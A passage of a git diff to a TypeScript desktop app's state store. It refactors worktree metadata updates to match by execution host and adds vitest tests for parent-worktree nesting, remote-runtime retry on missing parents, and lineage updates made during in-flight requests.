             stateStartedAt: liveEntry.stateStartedAt,
             previousAckAt: prev
           })
+          stamp = Math.max(stamp, latestAgentTurnTimestamp(liveEntry))
         }
         const retained = s.retainedAgentsByPaneKey?.[key]
         if (retained) {
@@ -1238,12 +1261,19 @@ export const createUISlice: StateCreator<AppState, [], [], UISlice> = (set, get)
             stateStartedAt: retained.entry.stateStartedAt,
             previousAckAt: prev
           })
+          stamp = Math.max(stamp, latestAgentTurnTimestamp(retained.entry))
         }
-        if (prev < now) {
+        for (const unsupported of migrationUnsupported) {
+          // Why: Activity synthesizes a blocked row from this entry, stamped by the pane's host like any turn.
+          if (unsupported.paneKey === key) {
+            stamp = Math.max(stamp, usableTimestamp(unsupported.updatedAt))
+          }
+        }
+        if (prev < stamp) {
           if (next === null) {
             next = { ...s.acknowledgedAgentsByPaneKey }
           }
-          next[key] = now
+          next[key] = stamp
         }
       }
       return next ? { acknowledgedAgentsByPaneKey: next } : s
diff --git a/src/renderer/src/store/slices/worktree-helpers.ts b/src/renderer/src/store/slices/worktree-helpers.ts
index fb368bec070..d34c4d26036 100644
--- a/src/renderer/src/store/slices/worktree-helpers.ts
+++ b/src/renderer/src/store/slices/worktree-helpers.ts
@@ -1,3 +1,4 @@
+import type { CreateWorktreeCallOptions } from './worktrees/create/worktree-create-payload'
 import type { WorkspaceKey } from '../../../../shared/folder-workspace-types'
 import type { TuiAgent } from '../../../../shared/tui-agent'
 import type { WorkspaceSource as WorkspaceCreateTelemetrySource } from '../../../../shared/workspace-source'
@@ -7,7 +8,6 @@ import type {
 } from '../../../../shared/worktree/base-ref-drift-types'
 import type {
   CreateSparseCheckoutRequest,
-  CreateWorktreeArgs,
   CreateWorktreeResult,
   ForceDeleteWorktreeBranchResult,
   SetupDecision
@@ -19,11 +19,9 @@ import type {
   DetectedWorktree,
   DetectedWorktreeListResult,
   GitPushTarget,
-  WorkspaceLinkedItem,
   WorkspaceStatus,
   Worktree
 } from '../../../../shared/worktree/types'
-import type { TaskSourceContext } from '../../../../shared/task-source-context'
 import type { WorktreeRemovalTarget } from '../../../../shared/worktree/removal'
 import type { TerminalGitHubPRLink } from '../../../../shared/terminal-github-pr-link-detector'
 import type { ExecutionHostId } from '../../../../shared/execution-host'
@@ -37,7 +35,6 @@ import type {
   PendingWorktreeCreation,
   WorktreeCreationPhase
 } from '@/lib/pending-worktree-creation'
-import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id'
 import type { AppState } from '../types'
 import type { WorktreeRefreshAllOptions } from './worktree-refresh-options'
 export type { WorktreePurgeTarget, WorktreePurgeTargets } from './worktree-purge-target'
@@ -46,6 +43,10 @@ export type { WorktreeDeleteState, WorktreeDeleteStateTarget } from './worktree-
 import type { WorktreeDeleteState, WorktreeDeleteStateTarget } from './worktree-delete-state-types'
 export { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id'
 
+export {
+  applyWorktreeUpdates,
+  withoutErasedRequiredWorktreeFields
+} from './worktree-meta-update-application'
 import type { RendererRemoveWorktreeResult } from './renderer-remove-worktree-result'
 
 export type WorktreeFetchOptions = {
@@ -64,10 +65,17 @@ export type DirectSshWorktreeFetchOptions = WorktreeFetchOptions & {
 export type WorktreeMetaUpdateGuard = (worktree: Worktree | DetectedWorktree | undefined) => boolean
 
 export type WorktreeMetaUpdateOptions = {
+  /** Required to mutate one row when the legacy locator exists on multiple hosts. */
+  executionHostId?: ExecutionHostId
   shouldApply?: WorktreeMetaUpdateGuard
   /** Skip the automatic review refetch when the caller owns an equivalent refresh. */
   suppressHostedReviewRefresh?: boolean
 }
+export type WorktreeMetaBatchUpdate = {
+  worktreeId: string
+  updates: Partial<WorktreeMeta>
+  executionHostId?: ExecutionHostId
+}
 
 export type WorktreeRenameRequest = {
   worktreeId: string
@@ -198,20 +206,7 @@ export type WorktreeSlice = {
     linkedAzureDevOpsPR?: number | null,
     linkedGiteaPR?: number | null,
     compareBaseRef?: string,
-    options?: {
-      automationProvenanceRequest?: CreateWorktreeArgs['automationProvenanceRequest']
-      linkedWorkItem?: WorkspaceLinkedItem | null
-      linkedTaskSourceContext?: TaskSourceContext | null
-      /** Lets the owning runtime launch and prefill a task agent without first creating an idle shell. */
-      startupDraft?: string
-      /** True only when `name` came from the creature-name generator; gates host-side retirement. */
-      nameWasGenerated?: boolean
-      provisionedRoot?: {
-        runtimeId: string
-        executionHostId: ExecutionHostId
-        expectedPath: string
-      }
-    }
+    options?: CreateWorktreeCallOptions
   ) => Promise<CreateWorktreeResult>
   /** Register an in-flight background creation and make it the active surface. */
   beginPendingWorktreeCreation: (entry: PendingWorktreeCreation) => void
@@ -264,9 +259,7 @@ export type WorktreeSlice = {
     options?: WorktreeMetaUpdateOptions
   ) => Promise<{ ok: true } | { ok: false; error: string }>
   ensureHostedReviewPushTarget: (worktreeId: string) => Promise<void>
-  updateWorktreesMeta: (
-    updatesByWorktreeId: ReadonlyMap<string, Partial<WorktreeMeta>>
-  ) => Promise<void>
+  updateWorktreesMeta: (updatesByWorktreeId: readonly WorktreeMetaBatchUpdate[]) => Promise<void>
   /**
    * Pin/unpin worktrees, then reveal the first changed one. The reveal keeps
    * the shortcut action visible even though pinned worktrees also remain in
@@ -369,68 +362,3 @@ export function findWorktreeById(
 
   return undefined
 }
-
-type RequiredKey<T> = { [K in keyof T]-?: undefined extends T[K] ? never : K }[keyof T]
-
-// Why: a present-but-undefined key in a spread ERASES the field. That is the
-// intended wire signal for clearing optional metadata (pushTarget), but on a
-// field Worktree declares required it produced a live `displayName: undefined`
-// that crashed the worktree palette (crash a1f81ea1). Typed off Worktree so a
-// newly-required field is protected automatically.
-const ERASURE_PROTECTED_KEYS: Record<Extract<RequiredKey<Worktree>, keyof WorktreeMeta>, true> = {
-  displayName: true,
-  comment: true,
-  linkedIssue: true,
-  linkedPR: true,
-  linkedLinearIssue: true,
-  isArchived: true,
-  isUnread: true,
-  isPinned: true,
-  sortOrder: true,
-  lastActivityAt: true
-}
-
-export function withoutErasedRequiredWorktreeFields(
-  updates: Partial<WorktreeMeta>
-): Partial<WorktreeMeta> {
-  const erased = Object.keys(ERASURE_PROTECTED_KEYS).filter(
-    (key) => updates[key as keyof WorktreeMeta] === undefined && Object.hasOwn(updates, key)
-  )
-  if (erased.length === 0) {
-    return updates
-  }
-
-  const next = { ...updates }
-  for (const key of erased) {
-    delete next[key as keyof WorktreeMeta]
-  }
-  return next
-}
-
-export function applyWorktreeUpdates(
-  worktreesByRepo: Record<string, Worktree[]>,
-  worktreeId: string,
-  rawUpdates: Partial<WorktreeMeta>
-): Record<string, Worktree[]> {
-  const updates = withoutErasedRequiredWorktreeFields(rawUpdates)
-  const repoId = getRepoIdFromWorktreeId(worktreeId)
-  const worktrees = worktreesByRepo[repoId]
-  if (!worktrees) {
-    return worktreesByRepo
-  }
-
-  let changed = false
-  const nextWorktrees = worktrees.map((worktree) => {
-    if (worktree.id !== worktreeId) {
-      return worktree
-    }
-
-    changed = true
-    return { ...worktree, ...updates }
-  })
-  if (!changed) {
-    return worktreesByRepo
-  }
-
-  return { ...worktreesByRepo, [repoId]: nextWorktrees }
-}
diff --git a/src/renderer/src/store/slices/worktree-meta-update-application.ts b/src/renderer/src/store/slices/worktree-meta-update-application.ts
new file mode 100644
index 00000000000..a65309f9adf
--- /dev/null
+++ b/src/renderer/src/store/slices/worktree-meta-update-application.ts
@@ -0,0 +1,69 @@
+import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
+import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id'
+import type { Worktree } from '../../../../shared/worktree/types'
+import type { ExecutionHostId } from '../../../../shared/execution-host'
+import { worktreeRowMatchesMetaHost } from './worktrees/listing/worktree-meta-host-match'
+
+type RequiredKey<T> = { [K in keyof T]-?: undefined extends T[K] ? never : K }[keyof T]
+
+// Why: a present-but-undefined key in a spread ERASES the field. That is the
+// intended wire signal for clearing optional metadata, but this protects required
+// Worktree fields from disappearing in optimistic projections.
+const ERASURE_PROTECTED_KEYS: Record<Extract<RequiredKey<Worktree>, keyof WorktreeMeta>, true> = {
+  displayName: true,
+  comment: true,
+  linkedIssue: true,
+  linkedPR: true,
+  linkedLinearIssue: true,
+  isArchived: true,
+  isUnread: true,
+  isPinned: true,
+  sortOrder: true,
+  lastActivityAt: true
+}
+
+export function withoutErasedRequiredWorktreeFields(
+  updates: Partial<WorktreeMeta>
+): Partial<WorktreeMeta> {
+  const erased = Object.keys(ERASURE_PROTECTED_KEYS).filter(
+    (key) => updates[key as keyof WorktreeMeta] === undefined && Object.hasOwn(updates, key)
+  )
+  if (erased.length === 0) {
+    return updates
+  }
+
+  const next = { ...updates }
+  for (const key of erased) {
+    delete next[key as keyof WorktreeMeta]
+  }
+  return next
+}
+
+export function applyWorktreeUpdates(
+  worktreesByRepo: Record<string, Worktree[]>,
+  worktreeId: string,
+  rawUpdates: Partial<WorktreeMeta>,
+  executionHostId?: ExecutionHostId
+): Record<string, Worktree[]> {
+  const updates = withoutErasedRequiredWorktreeFields(rawUpdates)
+  const repoId = getRepoIdFromWorktreeId(worktreeId)
+  const worktrees = worktreesByRepo[repoId]
+  if (!worktrees) {
+    return worktreesByRepo
+  }
+
+  let changed = false
+  const nextWorktrees = worktrees.map((worktree) => {
+    if (worktree.id !== worktreeId || !worktreeRowMatchesMetaHost(worktree, executionHostId)) {
+      return worktree
+    }
+
+    changed = true
+    return { ...worktree, ...updates }
+  })
+  if (!changed) {
+    return worktreesByRepo
+  }
+
+  return { ...worktreesByRepo, [repoId]: nextWorktrees }
+}
diff --git a/src/renderer/src/store/slices/worktrees-activity-persistence.test.ts b/src/renderer/src/store/slices/worktrees-activity-persistence.test.ts
index c2f9e18b4fd..f1fdbfc2a5e 100644
--- a/src/renderer/src/store/slices/worktrees-activity-persistence.test.ts
+++ b/src/renderer/src/store/slices/worktrees-activity-persistence.test.ts
@@ -102,7 +102,7 @@ describe('worktree remote runtime mutations', () => {
     [
       'updateWorktreesMeta',
       (store: ReturnType<typeof createTestStore>, worktreeId: string) =>
-        store.getState().updateWorktreesMeta(new Map([[worktreeId, { isUnread: true }]]))
+        store.getState().updateWorktreesMeta([{ worktreeId, updates: { isUnread: true } }])
     ],
     [
       'markWorktreeUnread',
diff --git a/src/renderer/src/store/slices/worktrees-create-parent-pick.test.ts b/src/renderer/src/store/slices/worktrees-create-parent-pick.test.ts
new file mode 100644
index 00000000000..0e16557a1cf
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees-create-parent-pick.test.ts
@@ -0,0 +1,388 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import type { AppState } from '../types'
+import type { Worktree } from '../../../../shared/worktree/types'
+import { toast } from 'sonner'
+import type { RuntimeEnvironmentCallRequest } from '../../runtime/runtime-compatibility-test-fixture'
+import { worktreeWorkspaceKey, folderWorkspaceKey } from '../../../../shared/workspace-scope'
+import { makeLineage, makeWorktree } from './worktrees-slice-test-fixtures'
+import {
+  createTestStore,
+  mockApi,
+  resetRemoteRuntimeMocks,
+  resetWorktreeSliceModuleMemory,
+  runtimeEnvironmentCall
+} from './worktrees-slice-test-harness'
+
+vi.mock('sonner', () => ({
+  toast: {
+    warning: vi.fn(),
+    info: vi.fn(),
+    success: vi.fn(),
+    error: vi.fn(),
+    dismiss: vi.fn()
+  }
+}))
+
+vi.mock('@/components/worktree-base-fallback-notice', () => ({
+  requestWorktreeBaseFallbackNotice: vi.fn()
+}))
+
+beforeEach(resetWorktreeSliceModuleMemory)
+
+describe('createWorktree composer parent pick', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    resetRemoteRuntimeMocks()
+  })
+
+  function createParentPickStore(parent?: Worktree) {
+    const store = createTestStore()
+    store.setState({ worktreesByRepo: { repo1: parent ? [parent] : [] } } as Partial<AppState>)
+    return store
+  }
+
+  function createWithParentPick(
+    store: ReturnType<typeof createTestStore>,
+    parentWorktreeId: string
+  ) {
+    const createWorktree = store.getState().createWorktree
+    const args: Parameters<typeof createWorktree> = ['repo1', 'feature', 'origin/main']
+    args[25] = { parentWorktreeId }
+    return createWorktree(...args)
+  }
+
+  it('nests the new workspace under the picked parent worktree', async () => {
+    const parent = makeWorktree({
+      id: 'repo1::/path/parent',
+      repoId: 'repo1',
+      path: '/path/parent',
+      instanceId: 'parent-instance'
+    })
+    const store = createParentPickStore(parent)
+    store.setState({ activeWorkspaceKey: folderWorkspaceKey('folder-1') } as Partial<AppState>)
+    mockApi.worktrees.create.mockResolvedValue({
+      worktree: makeWorktree({ id: 'repo1::/path/child', repoId: 'repo1', path: '/path/child' })
+    })
+
+    await createWithParentPick(store, parent.id)
+
+    expect(mockApi.worktrees.create).toHaveBeenCalledWith(
+      expect.objectContaining({ parentWorkspace: worktreeWorkspaceKey(parent.id) })
+    )
+  })
+
+  it('drops a stale parent pick and falls back to the active folder workspace', async () => {
+    const store = createParentPickStore()
+    store.setState({ activeWorkspaceKey: folderWorkspaceKey('folder-1') } as Partial<AppState>)
+    mockApi.worktrees.create.mockResolvedValue({
+      worktree: makeWorktree({ id: 'repo1::/path/child', repoId: 'repo1', path: '/path/child' })
+    })
+
+    await createWithParentPick(store, 'repo1::/path/removed')
+
+    expect(mockApi.worktrees.create).toHaveBeenCalledWith(
+      expect.objectContaining({ parentWorkspace: folderWorkspaceKey('folder-1') })
+    )
+  })
+
+  it('warns when an archived parent pick is dropped before create', async () => {
+    const parent = makeWorktree({
+      id: 'repo1::/path/parent',
+      repoId: 'repo1',
+      path: '/path/parent',
+      displayName: 'parent-wt',
+      isArchived: true
+    })
+    const store = createParentPickStore(parent)
+    mockApi.worktrees.create.mockResolvedValue({
+      worktree: makeWorktree({ id: 'repo1::/path/child', repoId: 'repo1', path: '/path/child' })
+    })
+
+    await createWithParentPick(store, parent.id)
+
+    expect(toast.warning).toHaveBeenCalledWith(
+      'Created without nesting under "parent-wt"',
+      expect.objectContaining({ description: expect.any(String) })
+    )
+  })
+
+  it('warns when the backend rejects an accepted parent pick', async () => {
+    const parent = makeWorktree({
+      id: 'repo1::/path/parent',
+      repoId: 'repo1',
+      path: '/path/parent',
+      displayName: 'parent-wt',
+      instanceId: 'parent-instance'
+    })
+    const store = createParentPickStore(parent)
+    mockApi.worktrees.create.mockResolvedValue({
+      worktree: makeWorktree({ id: 'repo1::/path/child', repoId: 'repo1', path: '/path/child' }),
+      lineage: null
+    })
+
+    await createWithParentPick(store, parent.id)
+
+    expect(toast.warning).toHaveBeenCalledWith(
+      'Created without nesting under "parent-wt"',
+      expect.objectContaining({ description: expect.any(String) })
+    )
+  })
+
+  it('keeps an accepted parent pick quiet and seeds its lineage', async () => {
+    const parent = makeWorktree({
+      id: 'repo1::/path/parent',
+      repoId: 'repo1',
+      path: '/path/parent',
+      instanceId: 'parent-instance'
+    })
+    const created = makeWorktree({
+      id: 'repo1::/path/child',
+      repoId: 'repo1',
+      path: '/path/child',
+      instanceId: 'child-instance'
+    })
+    const lineage = makeLineage({
+      worktreeId: created.id,
+      worktreeInstanceId: 'child-instance',
+      parentWorktreeId: parent.id,
+      parentWorktreeInstanceId: 'parent-instance'
+    })
+    const store = createParentPickStore(parent)
+    mockApi.worktrees.create.mockResolvedValue({ worktree: created, lineage })
+
+    await createWithParentPick(store, parent.id)
+
+    expect(toast.warning).not.toHaveBeenCalled()
+    expect(store.getState().worktreeLineageById[created.id]).toEqual(lineage)
+  })
+
+  // Why: paired web clients route window.api.worktrees.create to their host, which still rejects.
+  it('retries without the parent when the create API reports the parent is gone', async () => {
+    const parent = makeWorktree({
+      id: 'repo1::/path/parent',
+      repoId: 'repo1',
+      path: '/path/parent',
+      displayName: 'parent-wt',
+      instanceId: 'parent-instance'
+    })
+    const store = createParentPickStore(parent)
+    mockApi.worktrees.create
+      .mockRejectedValueOnce(
+        Object.assign(new Error('Parent selector was not found.'), {
+          code: 'LINEAGE_PARENT_NOT_FOUND'
+        })
+      )
+      .mockResolvedValue({
+        worktree: makeWorktree({ id: 'repo1::/path/child', repoId: 'repo1', path: '/path/child' })
+      })
+
+    await createWithParentPick(store, parent.id)
+
+    expect(mockApi.worktrees.create).toHaveBeenCalledTimes(2)
+    expect(mockApi.worktrees.create.mock.calls[1][0]).not.toHaveProperty('parentWorkspace')
+    expect(toast.warning).toHaveBeenCalledTimes(1)
+  })
+
+  it('warns once when a dropped pick is followed by branch-conflict retries', async () => {
+    const store = createParentPickStore()
+    const created = makeWorktree({
+      id: 'repo1::/path/child',
+      repoId: 'repo1',
+      path: '/path/child'
+    })
+    mockApi.worktrees.create
+      .mockRejectedValueOnce(new Error('Branch "feature" already exists locally.'))
+      .mockResolvedValue({ worktree: created })
+
+    await createWithParentPick(store, 'repo1::/path/removed')
+
+    expect(mockApi.worktrees.create).toHaveBeenCalledTimes(2)
+    expect(toast.warning).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('createWorktree parent pick on a remote runtime', () => {
+  const REMOTE_REPO = 'repo-remote'
+  const PARENT_ID = `${REMOTE_REPO}::/remote/parent`
+
+  beforeEach(() => {
+    vi.clearAllMocks()
+    resetRemoteRuntimeMocks()
+  })
+
+  function createRemoteStore() {
+    const store = createTestStore()
+    store.setState({
+      repos: [
+        {
+          id: REMOTE_REPO,
+          path: '/home/dev/repo',
+          displayName: 'repo',
+          badgeColor: '#000',
+          addedAt: 0,
+          executionHostId: 'runtime:env-1'
+        }
+      ],
+      worktreesByRepo: {
+        [REMOTE_REPO]: [
+          makeWorktree({
+            id: PARENT_ID,
+            repoId: REMOTE_REPO,
+            path: '/remote/parent',
+            displayName: 'parent-wt',
+            instanceId: 'parent-instance'
+          })
+        ]
+      }
+    } as Partial<AppState>)
+    return store
+  }
+
+  function createOnRemote(store: ReturnType<typeof createTestStore>) {
+    const createWorktree = store.getState().createWorktree
+    const args: Parameters<typeof createWorktree> = [REMOTE_REPO, 'feature', 'origin/main']
+    args[25] = { parentWorktreeId: PARENT_ID }
+    return createWorktree(...args)
+  }
+
+  function createCalls() {
+    return runtimeEnvironmentCall.mock.calls
+      .map(([request]: [RuntimeEnvironmentCallRequest]) => request)
+      .filter((request) => request.method === 'worktree.create')
+  }
+
+  function mockRuntimeCreate(firstCreate: (id: string) => unknown) {
+    let createCount = 0
+    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
+      if (method !== 'worktree.create') {
+        return Promise.resolve({ id: method, ok: true, result: null })
+      }
+      createCount += 1
+      return createCount === 1
+        ? Promise.resolve(firstCreate('rpc-create'))
+        : Promise.resolve({
+            id: 'rpc-create',
+            ok: true,
+            result: {
+              worktree: makeWorktree({
+                id: `${REMOTE_REPO}::/remote/child`,
+                repoId: REMOTE_REPO,
+                path: '/remote/child'
+              })
+            }
+          })
+    })
+  }
+
+  it('marks an app-selected parent as manual so the host does not record a CLI flag', async () => {
+    mockRuntimeCreate((id) => ({
+      id,
+      ok: true,
+      result: {
+        worktree: makeWorktree({
+          id: `${REMOTE_REPO}::/remote/child`,
+          repoId: REMOTE_REPO,
+          path: '/remote/child'
+        }),
+        lineage: makeLineage({
+          worktreeId: `${REMOTE_REPO}::/remote/child`,
+          parentWorktreeId: PARENT_ID
+        })
+      }
+    }))
+
+    await createOnRemote(createRemoteStore())
+
+    expect(createCalls()[0]?.params).toMatchObject({
+      parentWorkspace: worktreeWorkspaceKey(PARENT_ID),
+      parentWorkspaceOrigin: 'manual'
+    })
+    expect(toast.warning).not.toHaveBeenCalled()
+  })
+
+  it('retries without the parent and warns when the host no longer has it', async () => {
+    mockRuntimeCreate((id) => ({
+      id,
+      ok: false,
+      error: { code: 'LINEAGE_PARENT_NOT_FOUND', message: 'Parent selector was not found.' }
+    }))
+
+    await createOnRemote(createRemoteStore())
+
+    const calls = createCalls()
+    expect(calls).toHaveLength(2)
+    expect(calls[1]?.params).not.toHaveProperty('parentWorkspace')
+    expect(toast.warning).toHaveBeenCalledWith(
+      'Created without nesting under "parent-wt"',
+      expect.objectContaining({ description: expect.any(String) })
+    )
+  })
+
+  it('retries when a transport re-wraps the parent-missing code into a plain error', async () => {
+    let createCount = 0
+    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
+      if (method !== 'worktree.create') {
+        return Promise.resolve({ id: method, ok: true, result: null })
+      }
+      createCount += 1
+      // Why: the relay envelope re-throws as a plain Error, so only the trailing code survives.
+      return createCount === 1
+        ? Promise.reject(new Error('Error invoking remote method: LINEAGE_PARENT_NOT_FOUND'))
+        : Promise.resolve({
+            id: 'rpc-create',
+            ok: true,
+            result: {
+              worktree: makeWorktree({
+                id: `${REMOTE_REPO}::/remote/child`,
+                repoId: REMOTE_REPO,
+                path: '/remote/child'
+              })
+            }
+          })
+    })
+
+    await createOnRemote(createRemoteStore())
+
+    expect(createCalls()).toHaveLength(2)
+    expect(toast.warning).toHaveBeenCalledTimes(1)
+  })
+
+  // Why: the folder parent comes from the active scope, not a pick, so nothing else would surface it.
+  it('warns when the retry drops an active folder-workspace parent', async () => {
+    const store = createRemoteStore()
+    store.setState({
+      activeWorkspaceKey: folderWorkspaceKey('folder-1'),
+      folderWorkspaces: [{ id: 'folder-1', name: 'Design docs' }]
+    } as unknown as Partial<AppState>)
+    mockRuntimeCreate((id) => ({
+      id,
+      ok: false,
+      error: { code: 'LINEAGE_PARENT_NOT_FOUND', message: 'Parent selector was not found.' }
+    }))
+    const createWorktree = store.getState().createWorktree
+
+    await createWorktree(REMOTE_REPO, 'feature', 'origin/main')
+
+    const calls = createCalls()
+    expect(calls).toHaveLength(2)
+    expect(calls[0]?.params).toMatchObject({ parentWorkspace: folderWorkspaceKey('folder-1') })
+    expect(calls[1]?.params).not.toHaveProperty('parentWorkspace')
+    expect(toast.warning).toHaveBeenCalledWith(
+      'Created without nesting under "Design docs"',
+      expect.objectContaining({ description: expect.any(String) })
+    )
+  })
+
+  it('never double-creates when the host fails for an unrelated reason', async () => {
+    mockRuntimeCreate((id) => ({
+      id,
+      ok: false,
+      error: { code: 'internal_error', message: 'disk on fire' }
+    }))
+
+    await expect(createOnRemote(createRemoteStore())).rejects.toThrow('disk on fire')
+
+    expect(createCalls()).toHaveLength(1)
+    expect(toast.warning).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/store/slices/worktrees-fetch-listing-merge.test.ts b/src/renderer/src/store/slices/worktrees-fetch-listing-merge.test.ts
index 3e295c7c73b..0e3ead18d88 100644
--- a/src/renderer/src/store/slices/worktrees-fetch-listing-merge.test.ts
+++ b/src/renderer/src/store/slices/worktrees-fetch-listing-merge.test.ts
@@ -282,12 +282,10 @@ describe('fetchWorktrees', () => {
 
     const refresh = store.getState().fetchWorktrees('repo1')
     await vi.waitFor(() => expect(worktreeListMock).toHaveBeenCalledTimes(1))
-    await store.getState().updateWorktreesMeta(
-      new Map([
-        [daily.id, { manualOrder: 100 }],
-        [relay.id, { manualOrder: 200 }]
-      ])
-    )
+    await store.getState().updateWorktreesMeta([
+      { worktreeId: daily.id, updates: { manualOrder: 100 } },
+      { worktreeId: relay.id, updates: { manualOrder: 200 } }
+    ])
     resolveListing([refreshedDaily, relay])
 
     await refresh
diff --git a/src/renderer/src/store/slices/worktrees-fetch-owner-routing.test.ts b/src/renderer/src/store/slices/worktrees-fetch-owner-routing.test.ts
index 9ffc48eade5..b92879e32bc 100644
--- a/src/renderer/src/store/slices/worktrees-fetch-owner-routing.test.ts
+++ b/src/renderer/src/store/slices/worktrees-fetch-owner-routing.test.ts
@@ -45,7 +45,7 @@ describe('fetchWorktrees', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('fetches worktrees from the active remote runtime environment', async () => {
+  it('stamps ownerless worktrees from an older active remote runtime before repos hydrate', async () => {
     const store = createTestStore()
     const remote = makeWorktree({
       id: 'repo1::/remote/wt1',
@@ -63,7 +63,15 @@ describe('fetchWorktrees', () => {
 
     await store.getState().fetchWorktrees('repo1')
 
-    expect(store.getState().worktreesByRepo.repo1).toEqual([remote])
+    const expected = {
+      ...remote,
+      hostId: 'runtime:env-1',
+      runtimeOwnerEnvironmentId: 'env-1'
+    }
+    expect(store.getState().worktreesByRepo.repo1).toEqual([expected])
+    expect(store.getState().detectedWorktreesByRepo.repo1?.worktrees).toEqual([
+      expect.objectContaining(expected)
+    ])
     expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
       selector: 'env-1',
       method: 'worktree.detectedList',
@@ -581,12 +589,26 @@ describe('fetchWorktrees', () => {
 
     await store.getState().fetchWorktrees('repo1')
 
-    expect(store.getState().worktreesByRepo.repo1).toEqual([remote])
+    expect(store.getState().worktreesByRepo.repo1).toEqual([
+      {
+        ...remote,
+        hostId: 'runtime:env-1',
+        runtimeOwnerEnvironmentId: 'env-1'
+      }
+    ])
     expect(store.getState().detectedWorktreesByRepo.repo1).toMatchObject({
       repoId: 'repo1',
       authoritative: true,
       source: 'session-fallback',
-      worktrees: [{ id: remote.id, ownership: 'orca-managed', visible: true }]
+      worktrees: [
+        {
+          id: remote.id,
+          ownership: 'orca-managed',
+          visible: true,
+          hostId: 'runtime:env-1',
+          runtimeOwnerEnvironmentId: 'env-1'
+        }
+      ]
     })
     expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
       selector: 'env-1',
diff --git a/src/renderer/src/store/slices/worktrees-fetch-remote-lineage.test.ts b/src/renderer/src/store/slices/worktrees-fetch-remote-lineage.test.ts
index ee30d3a9233..edd73074f57 100644
--- a/src/renderer/src/store/slices/worktrees-fetch-remote-lineage.test.ts
+++ b/src/renderer/src/store/slices/worktrees-fetch-remote-lineage.test.ts
@@ -44,7 +44,9 @@ describe('fetchWorktrees', () => {
       id: 'repo1::/remote/wt1',
       repoId: 'repo1',
       path: '/remote/wt1',
-      branch: 'refs/heads/remote'
+      branch: 'refs/heads/remote',
+      hostId: 'runtime:env-1',
+      runtimeOwnerEnvironmentId: 'env-1'
     })
     const lineage = makeLineage({ worktreeId: initial.id })
     const refreshed = { ...initial, lineage }
@@ -100,7 +102,9 @@ describe('fetchWorktrees', () => {
       id: 'repo1::/remote/wt1',
       repoId: 'repo1',
       path: '/remote/wt1',
-      branch: 'refs/heads/remote'
+      branch: 'refs/heads/remote',
+      hostId: 'runtime:env-1',
+      runtimeOwnerEnvironmentId: 'env-1'
     })
     const staleLineage = makeLineage({
       worktreeId: worktree.id,
@@ -262,6 +266,223 @@ describe('fetchWorktrees', () => {
     })
   })
 
+  it('keeps a lineage row written while the host lineage request was in flight', async () => {
+    const store = createTestStore()
+    const worktree = makeWorktree({
+      id: 'repo1::/remote/wt1',
+      repoId: 'repo1',
+      path: '/remote/wt1',
+      branch: 'refs/heads/remote',
+      hostId: 'runtime:env-1'
+    })
+    store.setState({
+      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
+      worktreesByRepo: { repo1: [worktree] },
+      worktreeLineageById: {},
+      workspaceLineageByChildKey: {}
+    } as Partial<AppState>)
+
+    let releaseLineage: (() => void) | undefined
+    const lineageReplied = new Promise<void>((resolve) => {
+      releaseLineage = resolve
+    })
+    runtimeEnvironmentCall.mockImplementation(async ({ method }: RuntimeEnvironmentCallRequest) => {
+      if (method === 'worktree.lineageList') {
+        await lineageReplied
+        return {
+          id: 'rpc-1',
+          ok: true,
+          result: { lineage: {}, workspaceLineage: {} },
+          _meta: { runtimeId: 'runtime-remote' }
+        }
+      }
+      return {
+        id: 'rpc-2',
+        ok: true,
+        result: makeDetectedResult('repo1', [worktree]),
+        _meta: { runtimeId: 'runtime-remote' }
+      }
+    })
+
+    const pending = store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
+    const created = makeLineage({ worktreeId: worktree.id })
+    const createdWorkspace = makeWorkspaceLineage({
+      childWorkspaceKey: worktreeWorkspaceKey(worktree.id)
+    })
+    store.setState({
+      worktreeLineageById: { [created.worktreeId]: created },
+      workspaceLineageByChildKey: { [createdWorkspace.childWorkspaceKey]: createdWorkspace }
+    } as Partial<AppState>)
+
+    releaseLineage?.()
+    await pending
+
+    expect(store.getState().worktreeLineageById).toEqual({ [created.worktreeId]: created })
+    expect(store.getState().workspaceLineageByChildKey).toEqual({
+      [createdWorkspace.childWorkspaceKey]: createdWorkspace
+    })
+  })
+
+  it('keeps a parent reassignment written while the host lineage request was in flight', async () => {
+    const store = createTestStore()
+    const worktree = makeWorktree({
+      id: 'repo1::/remote/wt1',
+      repoId: 'repo1',
+      path: '/remote/wt1',
+      branch: 'refs/heads/remote',
+      hostId: 'runtime:env-1'
+    })
+    const childKey = worktreeWorkspaceKey(worktree.id)
+    const before = makeLineage({
+      worktreeId: worktree.id,
+      parentWorktreeId: 'repo1::/remote/old-parent'
+    })
+    const beforeWorkspace = makeWorkspaceLineage({
+      childWorkspaceKey: childKey,
+      parentWorkspaceKey: worktreeWorkspaceKey('repo1::/remote/old-parent')
+    })
+    store.setState({
+      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
+      worktreesByRepo: { repo1: [worktree] },
+      worktreeLineageById: { [before.worktreeId]: before },
+      workspaceLineageByChildKey: { [childKey]: beforeWorkspace }
+    } as Partial<AppState>)
+
+    let releaseLineage: (() => void) | undefined
+    const lineageReplied = new Promise<void>((resolve) => {
+      releaseLineage = resolve
+    })
+    runtimeEnvironmentCall.mockImplementation(async ({ method }: RuntimeEnvironmentCallRequest) => {
+      if (method === 'worktree.lineageList') {
+        await lineageReplied
+        return {
+          id: 'rpc-1',
+          ok: true,
+          result: {
+            lineage: { [before.worktreeId]: before },
+            workspaceLineage: { [childKey]: beforeWorkspace }
+          },
+          _meta: { runtimeId: 'runtime-remote' }
+        }
+      }
+      return {
+        id: 'rpc-2',
+        ok: true,
+        result: makeDetectedResult('repo1', [worktree]),
+        _meta: { runtimeId: 'runtime-remote' }
